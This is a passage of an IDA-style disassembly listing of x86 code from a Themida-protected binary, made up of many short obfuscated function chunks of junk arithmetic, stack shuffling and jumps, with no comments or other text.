loc_56905F: ; CODE XREF: sub_574FC9-8F06j
pop edx
add edi, 4
jmp loc_560F50
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56906B: ; CODE XREF: sub_56616D-2B47j
push [esp-14h+arg_10]
pop edx
sub esp, 4
jmp loc_56ADA2
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FAE2
loc_56907A: ; CODE XREF: sub_56FAE2-A146j
sub edx, eax
pop eax
add ebx, edx
pop edx
add ebx, 64E64E03h
sub ebx, ebp
sub ebx, 64E64E03h
sub ebx, 6317220h
jmp loc_572412
; END OF FUNCTION CHUNK FOR sub_56FAE2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570B3C
loc_569099: ; CODE XREF: sub_570B3C-94AFj
push 7C39h
jmp loc_56DF06
; END OF FUNCTION CHUNK FOR sub_570B3C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_5690A3: ; CODE XREF: sub_572DD7-A3B1j
dec eax
add eax, 0ADE10BF1h
mov edx, eax
mov eax, [esp+0Ch+var_C]
add esp, 4
sub eax, edx
pop edx
add edi, eax
pop eax
push esi
jmp loc_566B0E
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_5690BD: ; CODE XREF: sub_56AB5E-68B5j
xchg esi, [esp+8+var_8]
jmp loc_562A80
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_5690C5: ; CODE XREF: sub_56C83E+1Fj
shr ecx, 0Ah
push 0EF0h
mov [esp+4+var_4], ebx
jmp loc_56F8D3
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_5690D5: ; CODE XREF: sub_570732-B105j
xor ebp, [esp+0]
xor [esp+0], ebp
jmp loc_56B8EB
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_5690E0: ; CODE XREF: sub_569193-4ED1j
sub ebp, eax
pop eax
jmp loc_575013
; END OF FUNCTION CHUNK FOR sub_569193
; =============== S U B R O U T I N E =======================================
sub_5690E8 proc near ; DATA XREF: Themida_:0055FDE4o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00562E16 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00563B3E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00563CF4 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00564A13 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00565E7D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005664ED SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567DB1 SIZE 0000004A BYTES
; FUNCTION CHUNK AT 005689D1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569A96 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056A368 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0056CFEA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056EB70 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056F76D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056FFD3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00570240 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00573342 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0057386C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00574B70 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00574E57 SIZE 00000037 BYTES
mov cx, [esp+0]
push 0D47h
mov [esp+4+var_4], edi
push esp
pop edi
push ebp
mov ebp, 4
add edi, ebp
pop ebp
push 3F69h
mov [esp+8+var_8], ecx
push eax
mov eax, 24F361CAh
jmp loc_56CFEA
sub_5690E8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_569112: ; CODE XREF: sub_566117+7C87j
push esp
pop ebx
add ebx, 4
push ecx
mov ecx, 4F2B4CCDh
jmp loc_5660C1
; END OF FUNCTION CHUNK FOR sub_566117
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566AF9
loc_569125: ; CODE XREF: sub_566AF9+54F5j
push edx
neg [esp+0Ch+var_C]
jmp loc_561810
; END OF FUNCTION CHUNK FOR sub_566AF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567049
loc_56912E: ; CODE XREF: sub_567049-2BD6j
add ebp, 880FC670h
mov edx, ebp
pop ebp
add ebx, edx
jmp loc_5713EE
; END OF FUNCTION CHUNK FOR sub_567049
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56959A
loc_56913E: ; CODE XREF: sub_56959A+3E10j
pop esi
jmp loc_571703
; END OF FUNCTION CHUNK FOR sub_56959A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_569144: ; CODE XREF: sub_560844+4723j
push esi
mov esi, 40474682h
jmp sub_56FD97
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574AF3
loc_56914F: ; CODE XREF: sub_574AF3-12932j
shl dword ptr [esp+0], cl
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_574AF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562954
loc_569157: ; CODE XREF: sub_562954+9j
neg edi
sub edi, 4E544DF3h
add edi, 1
shl edi, 3
xor edi, 0F4C7348Ch
sub edx, edi
pop edi
jmp loc_572F41
; END OF FUNCTION CHUNK FOR sub_562954
; ---------------------------------------------------------------------------
loc_569173: ; CODE XREF: Themida_:0056384Bj
mov esp, [esp]
mov [esp], ebx
jmp loc_568ED5
; ---------------------------------------------------------------------------
loc_56917E: ; CODE XREF: Themida_:005630B0j
push dword ptr [esp]
jmp loc_569797
; =============== S U B R O U T I N E =======================================
sub_569186 proc near ; DATA XREF: Themida_:0055FE84o
var_4 = dword ptr -4
push dword ptr [esp+0]
push [esp+4+var_4]
pop eax
push eax
jmp sub_56FD6F
sub_569186 endp
; =============== S U B R O U T I N E =======================================
sub_569193 proc near ; CODE XREF: sub_564D26+D521j
; sub_564D26+D9C0j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560609 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005616AD SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005636B3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005638EC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005642B6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00564582 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00565C6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056646D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00566B71 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005679B3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00567E80 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005690E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A35D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056ABFA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056AFB5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056BEA5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056BFBE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E4C7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E6D3 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0056E916 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056ECA9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F1E1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F712 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570352 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005708A7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00570C2D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00574185 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005749C3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005749FD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00575013 SIZE 0000000C BYTES
sub esp, 4
mov [esp+4+var_4], ebx
push esp
mov ebx, [esp+8+var_8]
add esp, 4
add ebx, 4
jmp loc_56E4C7
sub_569193 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_5691AB: ; CODE XREF: sub_56651E+1123j
pop edx
shl ebp, 7
jmp sub_565632
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_5691B4: ; CODE XREF: sub_56AB5E+11j
sub dh, al
push ax
mov al, 90h
add dh, al
pop ax
pop eax
push edx
mov edx, esp
add edx, 4
push ecx
mov ecx, 39FF602Ah
push ebp
mov ebp, 1CD06912h
sub ecx, ebp
pop ebp
jmp loc_562BFE
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B577
loc_5691DC: ; CODE XREF: sub_56B577-43A1j
add ebp, 6BE449Bh
jmp loc_56E621
; END OF FUNCTION CHUNK FOR sub_56B577
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_5691E7: ; CODE XREF: sub_56D855-9E42j
add ecx, 4
xor ecx, [esp+10h+var_10]
xor [esp+10h+var_10], ecx
jmp loc_5648BA
; END OF FUNCTION CHUNK FOR sub_56D855
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_5691F5: ; CODE XREF: sub_56AEF2+A30Ej
mov esp, [esp-8+arg_4]
add esp, 4
movzx ax, byte ptr [eax]
push 3A53h
mov [esp-8+arg_4], ebx
sub esp, 4
mov [esp-4+arg_0], esp
jmp loc_5693EC
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_569215: ; CODE XREF: sub_561F05+60ACj
mov [esp+8+var_8], esi
push [esp+8+var_4]
pop esi
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
bswap eax
jmp loc_561D6B
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56922A: ; CODE XREF: sub_574656-51A8j
sub eax, 4
xchg eax, [esp+0]
pop esp
mov [esp-4+arg_0], eax
push 8155DC7h
pop eax
push edi
mov edi, 413342B2h
jmp loc_571294
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_569247: ; CODE XREF: sub_574A21-120F5j
mov edx, 2951290Eh
jmp loc_56DB1A
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56749A
loc_569251: ; CODE XREF: sub_56749A+3374j
add esi, 4
jmp loc_56017D
; END OF FUNCTION CHUNK FOR sub_56749A
; =============== S U B R O U T I N E =======================================
sub_56925C proc near ; CODE XREF: sub_561541+D3AFj
var_8 = dword ptr -8
; FUNCTION CHUNK AT 005727F9 SIZE 0000000C BYTES
push ebp
mov ebp, 4
push ebp
add [esp+8+var_8], 287E09D3h
pop edi
jmp loc_5727F9
sub_56925C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5722C8
loc_569270: ; CODE XREF: sub_5722C8-AD81j
add esp, 4
movsx ecx, ax
push 5144h
jmp loc_573CBB
; END OF FUNCTION CHUNK FOR sub_5722C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_569280: ; CODE XREF: sub_574A21-6EF4j
add esi, edx
pop edx
add esi, 4
xchg esi, [esp+0Ch+var_C]
pop esp
xor esi, 2C3E0101h
add eax, esi
push [esp+8+var_8]
mov esi, [esp+0Ch+var_C]
add esp, 4
jmp loc_567FD8
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5634AF
loc_5692A3: ; CODE XREF: sub_5634AF+11F42j
neg eax
add eax, 0FFFFFFFFh
jmp loc_571175
; END OF FUNCTION CHUNK FOR sub_5634AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_5692AF: ; CODE XREF: sub_563FA2+108A6j
mov ebx, 39325933h
xor ebx, 350477E4h
jmp loc_5672C1
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_5692BF: ; CODE XREF: sub_574949-1430Bj
pop ecx
push edi
jmp loc_571E6E
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C0A
loc_5692C6: ; CODE XREF: sub_571C0A-EC54j
push 55BBh
mov [esp+4+var_4], eax
jmp loc_5605CD
; END OF FUNCTION CHUNK FOR sub_571C0A
; =============== S U B R O U T I N E =======================================
sub_5692D3 proc near ; DATA XREF: Themida_:0055FE78o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00565F4F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00567E98 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00567F36 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00569024 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056C13E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E1F0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00572349 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00572552 SIZE 00000009 BYTES
mov ax, [esp+0]
push ecx
sub esp, 4
mov [esp+8+var_8], esp
push 2205h
jmp loc_56C13E
sub_5692D3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_5692EB: ; CODE XREF: sub_56241E+A254j
xor si, 0C52h
dec si
push dx
mov dx, 0A1h
add si, dx
pop dx
xor si, 7B46h
add ax, si
pop esi
mov di, word ptr [esp+8+var_8]
add esp, 2
sub ax, dx
sub esp, 4
mov [esp+8+var_8], ebx
jmp loc_57394F
; END OF FUNCTION CHUNK FOR sub_56241E
; =============== S U B R O U T I N E =======================================
sub_56931E proc near ; DATA XREF: Themida_:0055FDA8o
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp+0], ax
pushf
jmp loc_55FF9F
sub_56931E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56932E: ; CODE XREF: sub_563A7F-3324j
push 17C5720Ch
push [esp+0Ch+var_C]
pop esi
push ebp
push esp
pop ebp
add ebp, 4
push edi
mov edi, 4
add ebp, edi
pop edi
xchg ebp, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
sub esp, 4
mov [esp+14h+var_14], eax
mov eax, 5EEF4D95h
or esi, eax
pop eax
push edx
jmp loc_56EF2A
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56638C
loc_569366: ; CODE XREF: sub_56638C-4CE4j
pop ebp
xchg esi, [esp+8+var_8]
jmp loc_5729CA
; END OF FUNCTION CHUNK FOR sub_56638C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56936F: ; CODE XREF: sub_561418+11329j
mov eax, 4
add ecx, 0D477259h
push edx
mov edx, 6EDE47E8h
jmp loc_562160
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C83
loc_569385: ; CODE XREF: sub_566C83+1Aj
pop ebx
mov edi, [esp-4+arg_0]
jmp loc_571011
; END OF FUNCTION CHUNK FOR sub_566C83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575420
loc_56938E: ; CODE XREF: sub_575420-1278Dj
push small 0
sub byte ptr [esp+0Ch+var_C], cl
jmp loc_569D4A
; END OF FUNCTION CHUNK FOR sub_575420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_56939A: ; CODE XREF: sub_569A75-236Aj
shl dh, 1
jmp loc_56FFB0
; END OF FUNCTION CHUNK FOR sub_569A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_5693A1: ; CODE XREF: sub_56B1DC-477Cj
neg ebx
jmp loc_56033F
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C38F
loc_5693A8: ; CODE XREF: sub_56C38F+630Dj
xor ecx, 0E334007h
and ecx, 6F5494Eh
sub ecx, 0CABFC8D2h
mov edi, ecx
pop ecx
mov ebp, edi
jmp loc_5750D2
; END OF FUNCTION CHUNK FOR sub_56C38F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_5693C4: ; CODE XREF: sub_56616D+DBB7j
sub ecx, edx
add ecx, 7FF950FDh
jmp loc_56E30A
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CDD
loc_5693D1: ; CODE XREF: sub_574CDD-108E3j
sub ecx, 751A62D7h
add ecx, 65EB746Eh
pop esi
push ecx
push dword ptr [esp+4]
pop ecx
pop [esp+4+var_4]
jmp loc_56362B
; END OF FUNCTION CHUNK FOR sub_574CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_5693EC: ; CODE XREF: sub_56AEF2-1CE2j
add [esp-4+arg_0], 4
mov ebx, [esp-4+arg_0]
push ebp
mov ebp, esp
jmp loc_574481
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
loc_5693FB: ; CODE XREF: Themida_:0056A079j
pop eax
not eax
sub eax, 8044B7F1h
jmp loc_56CDAC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F3B2
loc_569408: ; CODE XREF: sub_56F3B2-2A5Aj
sub eax, 4
xchg eax, [esp+4+var_4]
pop esp
mov [esp+0], edi
sub esp, 4
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
jmp loc_56CE2A
; END OF FUNCTION CHUNK FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_569424: ; CODE XREF: sub_56E126-DD54j
xor ebx, 0EA41F955h
xor esi, ebx
pop ebx
mov ecx, esi
pop esi
add ecx, 1
jmp loc_568D11
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_569438: ; CODE XREF: sub_574F16-F757j
mov ah, dl
mov cl, ah
mov eax, [esp+10h+var_12+2]
jmp loc_56D4FB
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D359
loc_569444: ; CODE XREF: sub_56D359-3900j
xor eax, [esp+8+var_8]
pop esp
xor [esp+4+var_4], eax
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56D359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_569450: ; CODE XREF: sub_56F1DB-A4C9j
mov edx, 7FC53C21h
dec edx
jmp loc_56C934
; END OF FUNCTION CHUNK FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5606E3
loc_56945B: ; CODE XREF: sub_5606E3+595Ej
pop ebp
add esi, 1FAF11D8h
jmp loc_565E83
; END OF FUNCTION CHUNK FOR sub_5606E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_569467: ; CODE XREF: sub_5685B2+C033j
pop esp
mov [esp-10h+arg_C], ebx
push 2E43h
mov [esp-0Ch+arg_8], ebp
mov ebp, eax
push ebp
mov ebx, [esp-8+arg_4]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp-4+arg_0]
pop esp
push [esp-8+arg_4]
mov ebp, [esp-4+arg_0]
add esp, 4
sub esp, 4
mov [esp-4+arg_0], ebp
push esp
mov ebp, [esp+0]
add esp, 4
add ebp, 4
push ecx
jmp loc_562C78
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
loc_5694B4: ; CODE XREF: Themida_:00568862j
mov [esp], esi
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_571A33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_5694CA: ; CODE XREF: sub_56102D+11309j
cmp ecx, eax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56637E
loc_5694D2: ; CODE XREF: sub_56637E+405Fj
sub eax, 7D24F26Eh
sub ebx, 4D165E73h
sub ebx, eax
add ebx, 4D165E73h
jmp loc_56737B
; END OF FUNCTION CHUNK FOR sub_56637E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5694EA: ; CODE XREF: sub_561418+E931j
add ecx, 332B3CCAh
pop edx
xor ecx, [esp+14h+var_14]
jmp loc_56C89C
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
loc_5694F9: ; CODE XREF: Themida_:005626D1j
push 767F5334h
jmp loc_563D27
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_569503: ; CODE XREF: sub_56B06D-7748j
push 54F0h
mov [esp+14h+var_14], ecx
mov ecx, 6C435CB0h
xor edi, ecx
pop ecx
and edi, 64496817h
push eax
push 30195160h
pop eax
add edi, 5FC62671h
sub edi, eax
sub edi, 5FC62671h
pop eax
sub ecx, edi
pop edi
pop ebx
sub esp, 4
jmp loc_568E4D
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_56953E: ; CODE XREF: sub_56F1DB+C6Dj
pop ebp
push ebx
mov ebx, 64EF2F4Dh
sub esi, ebx
mov ebx, [esp+0]
add esp, 4
add esi, 30373CD8h
add esi, ebx
jmp loc_564D11
; END OF FUNCTION CHUNK FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_56955D: ; CODE XREF: sub_568646-7E62j
inc cl
add cl, 66h
push eax
jmp loc_57535B
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_569568: ; CODE XREF: sub_5678CB+BCADj
pop edx
add esp, 4
push esi
jmp loc_574727
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_569572: ; CODE XREF: sub_5604FE+F9BCj
pop ecx
pop [esp+8+var_8]
pop esp
jmp loc_573659
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA44
loc_56957C: ; CODE XREF: sub_56FA44-2C9Dj
add ecx, 48730547h
jmp loc_57344A
; END OF FUNCTION CHUNK FOR sub_56FA44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_569587: ; CODE XREF: sub_56616D+E5DFj
mov [esp-10h+arg_C], edx
mov edx, 45610ACBh
sub esp, 4
mov [esp-0Ch+arg_8], edx
jmp loc_573D0E
; END OF FUNCTION CHUNK FOR sub_56616D
; =============== S U B R O U T I N E =======================================
sub_56959A proc near ; CODE XREF: sub_56306E+2E0Aj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00560D67 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056913E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056AAB6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056C241 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D39E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00571703 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572B7C SIZE 00000012 BYTES
push ebx
push edx
mov edx, 695E1B4Bh
mov ebx, 0DBD6597Ah
sub ebx, 2C007A1Dh
add ebx, edx
push 7C86h
jmp loc_560D67
sub_56959A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566AF9
loc_5695B8: ; CODE XREF: sub_566AF9+8AA8j
xor edx, 50FE3E58h
push eax
jmp loc_564BA3
; END OF FUNCTION CHUNK FOR sub_566AF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_5695C4: ; CODE XREF: sub_561027+9C94j
add esp, 4
mov edx, [esp+8+var_8]
jmp loc_560DF8
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_5695CF: ; CODE XREF: sub_56D69D+409Bj
add eax, 64A422D4h
add eax, edi
push ecx
push ebx
jmp loc_563C11
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_5695DD: ; CODE XREF: sub_563FA2+10E1Aj
mov ecx, esp
jmp loc_574846
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_5695E4: ; CODE XREF: sub_564D26+D3F5j
shl ebx, 7
jmp loc_56BD93
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_5695EC: ; CODE XREF: sub_5604FE+DE2Dj
add edi, ebp
sub edi, 59D750FEh
pop ebp
push ecx
mov ecx, 6E377CBFh
add eax, ecx
pop ecx
add eax, edi
sub eax, 6E377CBFh
mov edi, [esp+0Ch+var_C]
add esp, 4
add eax, 4
xchg eax, [esp+8+var_8]
mov esp, [esp+8+var_8]
push 3814h
jmp loc_56FB48
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570B3C
loc_569623: ; CODE XREF: sub_570B3C+1Ej
xor ebx, 248B5AE4h
add ebx, 4D82BDD1h
add edi, ebx
pop ebx
add eax, edi
jmp loc_5719D5
; END OF FUNCTION CHUNK FOR sub_570B3C
; ---------------------------------------------------------------------------
loc_569639: ; CODE XREF: Themida_:00571CD6j
xor esi, 47D73E2Ch
and esi, 656B6B01h
sub esi, 2D4E0C79h
sub esi, 29ED6F1Eh
neg esi
jmp loc_574206
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_569658: ; CODE XREF: sub_572141-15C2j
push eax
mov eax, 535B290Ah
jmp loc_56437F
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_569663: ; CODE XREF: sub_5653AD+13CFj
mov ebx, esp
add ebx, 4
jmp loc_56B7AE
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D359
loc_569670: ; CODE XREF: sub_56D359+74Bj
push 2AF6h
mov [esp+8+var_8], eax
push 1501h
mov [esp+0Ch+var_C], esp
push edx
push 4
pop edx
jmp loc_5723B1
; END OF FUNCTION CHUNK FOR sub_56D359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD6F
loc_56968C: ; CODE XREF: sub_56FD6F-E80Ej
pop [esp+4+var_4]
jmp loc_562DD0
; END OF FUNCTION CHUNK FOR sub_56FD6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_569694: ; CODE XREF: sub_564D26+7103j
add ebp, eax
pop eax
xchg ebp, [esp+24h+var_24]
pop esp
push edx
jmp loc_56FBB4
; END OF FUNCTION CHUNK FOR sub_564D26
; =============== S U B R O U T I N E =======================================
sub_5696A1 proc near ; CODE XREF: sub_56F1F0-D0F9j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005700B2 SIZE 0000001E BYTES
sub esp, 4
mov [esp+4+var_4], esi
jmp loc_5700B2
sub_5696A1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_5696AF: ; CODE XREF: sub_56BC97+4j
push eax
mov eax, esp
jmp loc_56894C
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
loc_5696B7: ; CODE XREF: Themida_:00562B68j
pop edi
sub eax, 2
push eax
push dword ptr [esp+4]
pop eax
jmp loc_56CFDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5696C6: ; CODE XREF: sub_57354D-DB3j
add esp, 4
not esi
sub esp, 4
mov [esp+4+var_4], eax
